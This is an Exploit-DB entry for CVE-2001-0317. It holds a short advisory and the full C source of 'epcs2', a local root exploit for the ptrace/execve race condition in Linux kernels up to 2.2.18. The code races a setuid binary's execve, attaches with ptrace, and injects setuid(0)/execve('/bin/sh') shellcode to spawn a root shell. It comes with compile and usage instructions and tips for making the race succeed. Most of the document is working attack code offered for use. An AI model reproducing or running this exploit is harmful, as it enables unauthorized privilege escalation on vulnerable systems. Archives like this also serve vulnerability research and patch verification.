标题: Linux Kernel 2.2.18 (RedHat 6.2/7.0 / 2.2.14/2.2.18/2.2.18ow4) - ptrace/execve Race Condition Privilege Escalation (2) EDB-ID: 20721 CVE: 2001-0317 类型: LOCAL 平台: LINUX 发布日期: 2001-03-27 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2529/info
 
The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers.
 
A problem in the Linux Kernel could make it possible for a local user to gain elevated privileges. A problem with the checking of process tracing on programs attempting to execute other programs that are setuid or setgid. It is possible to trace a process after it has entered a setuid or setgid execution state.
 
This makes it possible for a local user to change parts of the process as they function, and potentially gain elevated privileges. 
*/

/*
 * epcs2 (improved by lst [liquid@dqc.org])
 * ~~~~~~~
 * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
 *
 * originally by:
 * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
 *
 * improved by:
 * lst [liquid@dqc.org]
 *
 * This sploit does _not_ use brute force. It does not need that.
 * It does only one attemt to sploit the race condition in execve. 
 * Parent process waits for a context-switch that occur after 
 * child task sleep in execve.
 *
 * It should work even on openwall-patched kernels (I haven't tested it).
 *
 * Compile it:
 * cc epcs.c -o epcs
 * Usage:
 * ./epcs [victim]
 *
 * It gives instant root shell with any of a suid binaries.
 *
 * If it does not work, try use some methods to ensure that execve
 * would sleep while loading binary file into memory,
 *
 *  i.e.: cat /usr/lib/* >/dev/null 2>&1
 *
 * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
 * This exploit does not work on 2.4.x because kernel won't set suid 
 * privileges if user ptraces a binary.
 * But it is still exploitable on these kernels.
 *
 * Thanks to Bulba (he made me to take a look at this bug ;) )
 * Greetings to SigSegv team.
 *
 * -- d00t
 * improved by lst [liquid@dqc.org]
 * props to kevin for most of the work
 *
 * now works on stack non-exec systems with some neat trickery for the automated
 * method, ie. no need to find the bss segment via objdump
 *
 * particularly it now rewrites the code instruction sets in the 
 * dynamic linker _start segment and continues execution from there.
 * 
 * an aside, due to the fact that the code self-modified, it wouldnt work
 * quite correctly on a stack non-exec system without playing directly with
 * the bss segment (ie no regs.eip = regs.esp change).  this is much more 
 * automated.  however, do note that the previous version did not trigger stack 
 * non-exec warnings due to how it was operating.  note that the regs.eip = regs.esp 
 * method will break on stack non-exec systems.
 *
 * as always.. enjoy.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>

#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"

/*
 * modified simple shell code with some trickery (hand tweaks)
 */
char shellcode[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  /* setuid(0) */
 "\x31\xc0\xb0\x2e\xcd\x80"
 "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"  /* execve(SHELL) */
 "\x90\x90\x90\x89\xe1\x8d\x54\x24"  /* lets be tricky */
 "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
 "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
 "\xff" SHELL "\x00\x00\x00" ;   /* pad me */

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
 cs_detector=1;
}

void do_victim(char * filename)
{
 while (!cs_detector) ;
 kill(getppid(), CS_SIGNAL);
 execl(filename, filename, NULL);
 perror("execl");
 exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
 char path[PATH_MAX+1];
 char link[PATH_MAX+1];
 int res;
 
 snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
 if (readlink(path, link, sizeof(link)-1)<0) {
  perror("readlink");
  return -1;
 }
 
 link[sizeof(link)-1]='\0';
 res=!strcmp(link, filename);
 if (res) fprintf(stderr, "child slept outside of execve\n");
 return res;
}

int main(int argc, char * argv[])
{
 char * filename=VICTIM;
 pid_t victim;
 int error, i;
 struct user_regs_struct regs;

 /* take our command args if you wanna play with other progs */
 if (argc>1) filename=argv[1];

 signal(CS_SIGNAL, cs_sig_handler);

 victim=fork();
 if (victim<0) {
  perror("fork: victim");
  exit(-1);
 }
 if (victim==0) do_victim(filename);

 kill(victim, CS_SIGNAL);
 while (!cs_detector) ;
 
 if (ptrace(PTRACE_ATTACH, victim)) {
  perror("ptrace: PTRACE_ATTACH");
  goto exit;
 }
 
 if (check_execve(victim, filename))
  goto exit;

 (void)waitpid(victim, NULL, WUNTRACED);
 if (ptrace(PTRACE_CONT, victim, 0, 0)) {
  perror("ptrace: PTRACE_CONT");
  goto exit;
 }

 (void)waitpid(victim, NULL, WUNTRACED);
 
 if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
  perror("ptrace: PTRACE_GETREGS");
  goto exit;
 }

 /* make sure that last null is in there */
 for (i=0; i<=strlen(shellcode); i+=4) {
  if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
          *(int*)(shellcode+i))) {
   perror("ptrace: PTRACE_POKETEXT");
   goto exit;
  }
 }

 if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {
  perror("ptrace: PTRACE_SETREGS");
  goto exit;
 }

 fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
 
 if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
  perror("ptrace: PTRACE_DETACH");
  goto exit;
 }

 (void)waitpid(victim, NULL, 0);
 return 0;
 
exit:
 fprintf(stderr, "d0h! error!\n");
 kill(victim, SIGKILL);
 return -1;
} URL: https://www.exploit-db.com/exploits/20721